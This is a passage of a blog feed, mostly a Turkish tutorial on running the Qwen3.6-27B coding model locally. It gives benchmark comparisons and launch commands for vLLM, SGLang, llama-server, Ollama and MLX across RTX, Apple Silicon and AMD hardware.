&lt;h3 id="other-notes-from-the-lab"&gt;🔗 Other Notes from the Lab&lt;a class="headerlink" href="#other-notes-from-the-lab" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Here are some other experiences that might be useful when running AI models locally and tinkering with terminal tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/qwen3-mcp-server-aktif-etme/"&gt;Enabling MCP Servers on Qwen 3 and Qwen3-Coder-Plus&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Goodbye Monthly Subscriptions: Your Free and Private AI Guide on Your Own Computer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-ollama-webui-kurulumu-docker/"&gt;Ollama and WebUI Installation on Arch Linux (with Docker)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/mcp-puppeteer-sunucusu-kurulumu/"&gt;MCP Puppeteer Server Setup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/docker-imaj-boyutu-kucultme-rehberi/"&gt;Dieting for Bloated Docker Images: A Journey from 1.2 GB to 78 MB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Based on SGLang workarounds identified by the CloudRift team for Blackwell (sm_120) hardware, using BF16 KV cache and disabling the radix cache feature resolves stability issues.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;On Apple Silicon, MLX accesses the Metal API directly, offering lower latency and higher throughput compared to classic llama.cpp / GGUF compilations.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Development Tools"/><category term="qwen"/><category term="local llm"/><category term="sglang"/><category term="vllm"/><category term="apple silicon"/><category term="rtx 3090"/><category term="rtx 5090"/><category term="openclaw"/><category term="artificial intelligence"/></entry><entry><title>Devasa MoE Modellerine Kafa Tutan Cüce: Yerelde Qwen3.6-27B Kurulumu</title><link href="https://yuceltoluyag.github.io/qwen-3-6-27b-yerel-kod-modeli-kurulumu/" rel="alternate"/><published>2026-05-29T04:25:00+03:00</published><updated>2026-05-29T04:25:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/qwen-3-6-27b-yerel-kod-modeli-kurulumu/</id><summary type="html">&lt;p&gt;Yapay zeka dünyasının en yeni gözdelerinden Qwen3.6-27B modelini yerel donanımlarda (RTX 3090/5090, Apple Silicon, AMD Strix Halo) nasıl çalıştıracağımızı ve kodlama ajanlarına nasıl bağlayacağımızı anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Yapay zeka d&amp;uuml;nyas&amp;inodot;nda uzun s&amp;uuml;redir bize &amp;scedil;u masal anlat&amp;inodot;l&amp;inodot;yor hac&amp;inodot;: E&amp;gbreve;er yerel bilgisayar&amp;inodot;nda veya sunucunda &amp;uuml;st seviye (flagship) kodlama performans&amp;inodot; istiyorsan, y&amp;uuml;zlerce milyarl&amp;inodot;k devasa Mixture of Experts (MoE) modellerini kurmak zorundas&amp;inodot;n. Tabii bunun getirdi&amp;gbreve;i karma&amp;scedil;&amp;inodot;k y&amp;ouml;nlendirme (routing) mant&amp;inodot;&amp;gbreve;&amp;inodot;, s&amp;uuml;r&amp;uuml;c&amp;uuml; (driver) kabuslar&amp;inodot; ve k&amp;uuml;&amp;ccedil;&amp;uuml;k bir mahalleyi &amp;inodot;s&amp;inodot;tacak kadar &amp;ccedil;ok GPU ihtiyac&amp;inodot; da cabas&amp;inodot;. 🥵&lt;/p&gt;
&lt;p&gt;Alibaba'n&amp;inodot;n 22 Nisan 2026'da &amp;ccedil;&amp;inodot;kard&amp;inodot;&amp;gbreve;&amp;inodot; &lt;strong&gt;Qwen3.6-27B&lt;/strong&gt; modeli bu ezberi tamamen bozdu. Bu canavar, sadece 27 milyar parametreli yo&amp;gbreve;un (dense) bir mimari olmas&amp;inodot;na ra&amp;gbreve;men, 397 milyar parametrelik &amp;ouml;nceki nesil MoE bayrak gemisini (Qwen3.5-397B-A17B) kodlama ve yaz&amp;inodot;l&amp;inodot;m ajan&amp;inodot; benchmarklar&amp;inodot;nda resmen ezdi ge&amp;ccedil;ti. &amp;Uuml;stelik hi&amp;ccedil;bir karma&amp;scedil;&amp;inodot;k routing tablosu veya uzman y&amp;uuml;kleme derdi olmadan, evimizdeki emektar donan&amp;inodot;mlarda &amp;ccedil;al&amp;inodot;&amp;scedil;abiliyor. 😎&lt;/p&gt;
&lt;p&gt;Bu yaz&amp;inodot;da, bu ufak ama di&amp;scedil;li modelin devasa MoE modellerine nas&amp;inodot;l kafa tuttu&amp;gbreve;unu, hangi donan&amp;inodot;mlarda hangi kantizasyon (quantization) seviyesinde &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilece&amp;gbreve;imizi ve yerel kodlama ajanlar&amp;inodot;m&amp;inodot;za (OpenClaw, Qwen Code, Claude Code) nas&amp;inodot;l entegre edece&amp;gbreve;imizi ad&amp;inodot;m ad&amp;inodot;m anlat&amp;inodot;yorum.&lt;/p&gt;
&lt;h2 id="devasa-bir-moe-modeli-vs-27b-yogun-mimari"&gt;Devasa Bir MoE Modeli vs 27B Yo&amp;gbreve;un Mimari&lt;a class="headerlink" href="#devasa-bir-moe-modeli-vs-27b-yogun-mimari" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Rakamlar ger&amp;ccedil;ekten &amp;scedil;a&amp;scedil;&amp;inodot;rt&amp;inodot;c&amp;inodot; karda&amp;scedil;. Qwen3.6-27B, abisini sadece ufak bir farkla ge&amp;ccedil;mekle kalm&amp;inodot;yor; ger&amp;ccedil;ek d&amp;uuml;nya geli&amp;scedil;tirici ara&amp;ccedil;lar&amp;inodot; i&amp;ccedil;in kritik olan t&amp;uuml;m benchmarklarda ezici bir zafer kazan&amp;inodot;yor.&lt;/p&gt;
&lt;p&gt;Ger&amp;ccedil;ek GitHub sorunlar&amp;inodot;n&amp;inodot; &amp;ccedil;&amp;ouml;zme yetene&amp;gbreve;ini &amp;ouml;l&amp;ccedil;en &lt;strong&gt;SWE-bench Verified&lt;/strong&gt; testinde Qwen3.6-27B, 397 milyarl&amp;inodot;k devasa MoE modelinin %76.2'lik skoruna kar&amp;scedil;&amp;inodot;l&amp;inodot;k &lt;strong&gt;%77.2&lt;/strong&gt; al&amp;inodot;yor. Model boyutlar&amp;inodot; aras&amp;inodot;ndaki 15 katl&amp;inodot;k fark&amp;inodot; d&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;rsek bu muazzam bir ba&amp;scedil;ar&amp;inodot;. 🤯&lt;/p&gt;
&lt;p&gt;Fark, u&amp;ccedil;birim/terminal g&amp;ouml;revlerini test eden &lt;strong&gt;Terminal-Bench 2.0&lt;/strong&gt; testinde daha da a&amp;ccedil;&amp;inodot;l&amp;inodot;yor: Qwen3.6-27B %59.3 al&amp;inodot;rken, MoE model %52.5'te kal&amp;inodot;yor. Pratik yaz&amp;inodot;l&amp;inodot;m m&amp;uuml;hendisli&amp;gbreve;i g&amp;ouml;revlerini i&amp;ccedil;eren &lt;strong&gt;SkillsBench&lt;/strong&gt; testinde ise en b&amp;uuml;y&amp;uuml;k makas a&amp;ccedil;&amp;inodot;l&amp;inodot;yor: %48.2'ye kar&amp;scedil;&amp;inodot;l&amp;inodot;k %30.0. K&amp;inodot;sacas&amp;inodot;, bu k&amp;uuml;&amp;ccedil;&amp;uuml;k model yaz&amp;inodot;l&amp;inodot;mc&amp;inodot;lar&amp;inodot;n g&amp;uuml;nl&amp;uuml;k hayatta kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot; karma&amp;scedil;&amp;inodot;k, kirli ve de&amp;gbreve;i&amp;scedil;ken kodlama i&amp;scedil;lerinde &amp;ccedil;ok daha ba&amp;scedil;ar&amp;inodot;l&amp;inodot;.&lt;/p&gt;
&lt;p&gt;Peki bu nas&amp;inodot;l oluyor? Yo&amp;gbreve;un (dense) mimariler, MoE modelleri gibi "uzman y&amp;ouml;nlendirme" d&amp;ouml;ng&amp;uuml;leriyle veya seyrek a&amp;gbreve;&amp;inodot;rl&amp;inodot;klar&amp;inodot; belle&amp;gbreve;e y&amp;uuml;klemekle vakit kaybetmez. ⚡ Her ileri ge&amp;ccedil;i&amp;scedil;te (forward pass) t&amp;uuml;m parametreler aktiftir. 27 milyar parametre s&amp;inodot;n&amp;inodot;r&amp;inodot;, karma&amp;scedil;&amp;inodot;k mant&amp;inodot;k y&amp;uuml;r&amp;uuml;tme kal&amp;inodot;plar&amp;inodot;n&amp;inodot; kodlamak i&amp;ccedil;in yeterince b&amp;uuml;y&amp;uuml;k, s&amp;inodot;ra d&amp;inodot;&amp;scedil;&amp;inodot; donan&amp;inodot;mlara ihtiya&amp;ccedil; duymadan verimli &amp;ccedil;al&amp;inodot;&amp;scedil;mak i&amp;ccedil;in ise yeterince k&amp;uuml;&amp;ccedil;&amp;uuml;kt&amp;uuml;r.&lt;/p&gt;
&lt;h2 id="qwen36-27b-bize-neler-sunuyor"&gt;Qwen3.6-27B Bize Neler Sunuyor?&lt;a class="headerlink" href="#qwen36-27b-bize-neler-sunuyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Qwen3.6-27B sadece kod yazan bir model de&amp;gbreve;il. Olduk&amp;ccedil;a yetenekli ve &amp;ccedil;ok y&amp;ouml;nl&amp;uuml; bir &amp;ouml;zellik setine sahip:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ajanl&amp;inodot;k Kodlama Yetene&amp;gbreve;i 🛠️:&lt;/strong&gt; Ara&amp;ccedil; kullan&amp;inodot;m&amp;inodot; (tool use), uzun vadeli planlama ve &amp;ccedil;oklu dosya d&amp;uuml;zenleme konular&amp;inodot;nda &amp;ccedil;ok ba&amp;scedil;ar&amp;inodot;l&amp;inodot;. Claw-Eval testinde %72.4 alarak karma&amp;scedil;&amp;inodot;k geli&amp;scedil;tirici i&amp;scedil; ak&amp;inodot;&amp;scedil;lar&amp;inodot;nda ger&amp;ccedil;ek bir yard&amp;inodot;mc&amp;inodot; olabilece&amp;gbreve;ini kan&amp;inodot;tl&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;G&amp;ouml;rsel ve Multimodal Zeka 👁️:&lt;/strong&gt; Resim, video ve metinleri tek bir checkpoint &amp;uuml;zerinden i&amp;scedil;leyebiliyor. Ekstra bir vizyon modeli y&amp;uuml;klemenize gerek kalm&amp;inodot;yor. Dok&amp;uuml;mantasyon &amp;scedil;emalar&amp;inodot; veya ekran g&amp;ouml;r&amp;uuml;nt&amp;uuml;leri &amp;uuml;zerinde rahat&amp;ccedil;a analiz yapabiliyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Devasa Ba&amp;gbreve;lam Penceresi 📄:&lt;/strong&gt; Yerel olarak 262.144 (262K) token deste&amp;gbreve;i sunuyor. YaRN RoPE &amp;ouml;l&amp;ccedil;eklendirmesiyle bu s&amp;inodot;n&amp;inodot;r&amp;inodot; 1 milyon token seviyelerine kadar esnetmek m&amp;uuml;mk&amp;uuml;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;D&amp;uuml;&amp;scedil;&amp;uuml;nme Modlar&amp;inodot; (Thinking Mode) 🧠:&lt;/strong&gt; Ak&amp;inodot;l y&amp;uuml;r&amp;uuml;tme ad&amp;inodot;mlar&amp;inodot;n&amp;inodot; &lt;code&gt;&amp;lt;think&amp;gt;...&amp;lt;/think&amp;gt;&lt;/code&gt; bloklar&amp;inodot; i&amp;ccedil;inde &amp;uuml;reterek karma&amp;scedil;&amp;inodot;k sorgularda daha tutarl&amp;inodot; cevaplar veriyor. Basit i&amp;scedil;lerde gecikmeyi (latency) d&amp;uuml;&amp;scedil;&amp;uuml;rmek i&amp;ccedil;in bu modu kapatabilirsiniz.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="yerel-donanm-secenekleri-ve-kurulum-admlar"&gt;Yerel Donan&amp;inodot;m Se&amp;ccedil;enekleri ve Kurulum Ad&amp;inodot;mlar&amp;inodot;&lt;a class="headerlink" href="#yerel-donanm-secenekleri-ve-kurulum-admlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yo&amp;gbreve;un mimarisi sayesinde Qwen3.6-27B'yi b&amp;uuml;t&amp;ccedil;enize ve elinizdeki donan&amp;inodot;ma g&amp;ouml;re farkl&amp;inodot; &amp;scedil;ekillerde ko&amp;scedil;turabilirsiniz.&lt;/p&gt;
&lt;h3 id="1-butce-dostu-tek-gpu-rtx-4090-24gb-vram"&gt;1. B&amp;uuml;t&amp;ccedil;e Dostu Tek GPU (RTX 4090 / 24GB VRAM) 💰&lt;a class="headerlink" href="#1-butce-dostu-tek-gpu-rtx-4090-24gb-vram" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;E&amp;gbreve;er elinizde tek bir RTX 4090 varsa, modeli INT4 veya GPTQ kantizasyonuyla &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsiniz. Model a&amp;gbreve;&amp;inodot;rl&amp;inodot;klar&amp;inodot; bellekte yakla&amp;scedil;&amp;inodot;k 15-17 GB yer kaplar ve KV cache i&amp;ccedil;in bolca alan kal&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;vLLM ile &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vllm&lt;span class="w"&gt; &lt;/span&gt;serve&lt;span class="w"&gt; &lt;/span&gt;Qwen/Qwen3.6-27B-GPTQ-Int4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--max-model-len&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;131072&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--reasoning-parser&lt;span class="w"&gt; &lt;/span&gt;qwen3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Beklenen h&amp;inodot;z: K&amp;inodot;sa ba&amp;gbreve;lamlarda saniyede 15-30 token. Yerel kodlama asistan&amp;inodot; olarak kullanmak i&amp;ccedil;in gayet yeterli.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="2-orta-seviye-cift-gpu-48gb-vram"&gt;2. Orta Seviye &amp;Ccedil;ift GPU (48GB VRAM) 🖥️&lt;a class="headerlink" href="#2-orta-seviye-cift-gpu-48gb-vram" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;ki adet RTX 4090 veya benzer kapasitede bir donan&amp;inodot;mla modelin FP8 varyant&amp;inodot;n&amp;inodot; veya BF16 s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; rahat&amp;ccedil;a &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsiniz. FP8, modelin ak&amp;inodot;l y&amp;uuml;r&amp;uuml;tme kalitesini bozmadan bellek ayak izini yar&amp;inodot; yar&amp;inodot;ya d&amp;uuml;&amp;scedil;&amp;uuml;r&amp;uuml;r.&lt;/p&gt;
&lt;p&gt;SGLang ile &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;sglang.launch_server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--model-path&lt;span class="w"&gt; &lt;/span&gt;Qwen/Qwen3.6-27B-FP8&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--tp-size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--mem-fraction-static&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.85&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--context-length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;131072&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--reasoning-parser&lt;span class="w"&gt; &lt;/span&gt;qwen3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Beklenen h&amp;inodot;z: Saniyede 40-70 token. Bireysel geli&amp;scedil;tiriciler ve k&amp;uuml;&amp;ccedil;&amp;uuml;k ekipler i&amp;ccedil;in en ideal kurulum budur.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="3-tek-kartn-gucu-rtx-5090-32gb-vram"&gt;3. Tek Kart&amp;inodot;n G&amp;uuml;c&amp;uuml;: RTX 5090 (32GB VRAM) 🚀&lt;a class="headerlink" href="#3-tek-kartn-gucu-rtx-5090-32gb-vram" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;RTX 5090 (Blackwell mimarisi), Qwen3.6-27B &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in tek kartl&amp;inodot;k en iyi se&amp;ccedil;enektir hac&amp;inodot;. 32 GB VRAM sayesinde Q4_K_M GGUF modelini (yakla&amp;scedil;&amp;inodot;k 16.8 GB) belle&amp;gbreve;e y&amp;uuml;kledikten sonra bile KV cache i&amp;ccedil;in devasa bir alan kal&amp;inodot;r.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! ⚠️ Blackwell sm_120 ve FP8 Uyumluluk Sorunlar&amp;inodot;&lt;/p&gt;
&lt;p&gt;Blackwell mimarisindeki baz&amp;inodot; FP8 uyumsuzluklar&amp;inodot; nedeniyle SGLang &amp;uuml;zerinde sorun ya&amp;scedil;arsan&amp;inodot;z, ge&amp;ccedil;ici bir &amp;ccedil;&amp;ouml;z&amp;uuml;m olarak radix cache &amp;ouml;zelli&amp;gbreve;ini kapatman&amp;inodot;z ve FP8 yerine BF16 KV cache kullanman&amp;inodot;z gerekebilir&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. En temiz ve kararl&amp;inodot; yol &amp;scedil;imdilik llama-server &amp;uuml;zerinden GGUF kullanmakt&amp;inodot;r:&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;llama-server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-hf&lt;span class="w"&gt; &lt;/span&gt;unsloth/Qwen3.6-27B-GGUF:Q4_K_M&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--no-mmproj&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--fit&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-ngl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;99&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;65536&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--flash-attn&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--cache-type-k&lt;span class="w"&gt; &lt;/span&gt;q8_0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--cache-type-v&lt;span class="w"&gt; &lt;/span&gt;q8_0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--jinja&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--temp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.6&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--top-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.95&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--top-k&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--reasoning&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--chat-template-kwargs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"preserve_thinking": true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Beklenen h&amp;inodot;z: Saniyede 25-30 token &amp;uuml;retim, 50-70 token girdi i&amp;scedil;leme.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="4-ikinci-elin-kral-rtx-3090-24gb-vram"&gt;4. &amp;Idot;kinci Elin Kral&amp;inodot;: RTX 3090 (24GB VRAM) 👑&lt;a class="headerlink" href="#4-ikinci-elin-kral-rtx-3090-24gb-vram" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;RTX 3090, yerel yapay zeka geli&amp;scedil;tiricileri i&amp;ccedil;in h&amp;acirc;l&amp;acirc; en mant&amp;inodot;kl&amp;inodot; fiyat/performans se&amp;ccedil;ene&amp;gbreve;idir. 24 GB VRAM kapasitesi 4090 ile ayn&amp;inodot;d&amp;inodot;r. Q4_K_M kantizasyonunu 16.8 GB bellek kullan&amp;inodot;m&amp;inodot;yla y&amp;uuml;kleyip, kalan 7 GB alan&amp;inodot; 32K-64K ba&amp;gbreve;lam penceresi i&amp;ccedil;in kullanabilirsiniz.&lt;/p&gt;
&lt;p&gt;Ollama ile en h&amp;inodot;zl&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma yolu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;pull&lt;span class="w"&gt; &lt;/span&gt;qwen3.5:27b-q4_K_M
ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;qwen3.5:27b-q4_K_M
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Not: Ollama i&amp;ccedil;in resmi Qwen3.6 deste&amp;gbreve;i da&amp;gbreve;&amp;inodot;t&amp;inodot;lmaya ba&amp;scedil;land&amp;inodot;. E&amp;gbreve;er 3.6 etiketini bulamazsan&amp;inodot;z, performans k&amp;inodot;yaslamas&amp;inodot; yapmak i&amp;ccedil;in 3.5-27B s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; de deneyebilirsiniz.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="5-macos-dunyas-apple-silicon-mlx"&gt;5. macOS D&amp;uuml;nyas&amp;inodot;: Apple Silicon (MLX) 🍎&lt;a class="headerlink" href="#5-macos-dunyas-apple-silicon-mlx" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Mac kullan&amp;inodot;yorsan&amp;inodot;z en temiz yol Apple'&amp;inodot;n Metal altyap&amp;inodot;s&amp;inodot;yla do&amp;gbreve;rudan konu&amp;scedil;an MLX k&amp;uuml;t&amp;uuml;phanesini kullanmakt&amp;inodot;r&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Unsloth taraf&amp;inodot;ndan haz&amp;inodot;rlanan dinamik 4-bit MLX kantizasyonunu kullanabilirsiniz.&lt;/p&gt;
&lt;p&gt;Donan&amp;inodot;m s&amp;inodot;n&amp;inodot;r&amp;inodot; burada kritiktir: 24GB bellekli M3 Max modeli ucu ucuna kurtar&amp;inodot;r ancak hantal kalabilir. 🐌 Ak&amp;inodot;c&amp;inodot; bir deneyim i&amp;ccedil;in en az 36GB M3 Max, 48GB M4 Pro veya daha &amp;uuml;st&amp;uuml; (64GB/128GB) modelleri tercih etmelisiniz.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;mlx-lm

&lt;span class="c1"&gt;# D&amp;uuml;&amp;scedil;&amp;uuml;nme modu a&amp;ccedil;&amp;inodot;k &amp;scedil;ekilde &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in:&lt;/span&gt;
python&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;mlx_vlm.chat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--model&lt;span class="w"&gt; &lt;/span&gt;unsloth/Qwen3.6-27B-UD-MLX-4bit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--chat-template-kwargs&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"enable_thinking":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="6-amd-strix-halo-apu"&gt;6. AMD Strix Halo APU 🎮&lt;a class="headerlink" href="#6-amd-strix-halo-apu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;AMD'nin Strix Halo (Ryzen AI Max+ 395) platformu, 128 GB'a kadar birle&amp;scedil;ik (unified) LPDDR5X belle&amp;gbreve;i payla&amp;scedil;an 16 Zen 5 &amp;ccedil;ekirde&amp;gbreve;i ve 40-CU RDNA 3.5 grafik i&amp;scedil;lemcisiyle yerel AI i&amp;ccedil;in harika bir alternatif sunuyor. PCIe darbo&amp;gbreve;az&amp;inodot; veya VRAM s&amp;inodot;n&amp;inodot;r&amp;inodot; olmadan, belle&amp;gbreve;in 64-96 GB'l&amp;inodot;k k&amp;inodot;sm&amp;inodot;n&amp;inodot; tamamen GPU'ya atayabilirsiniz.&lt;/p&gt;
&lt;p&gt;ROCm altyap&amp;inodot;s&amp;inodot;n&amp;inodot; kullanarak llama.cpp derlemesi ve &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma ad&amp;inodot;mlar&amp;inodot;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# gfx1151 mimarisi i&amp;ccedil;in derleme yap&amp;inodot;yoruz&lt;/span&gt;
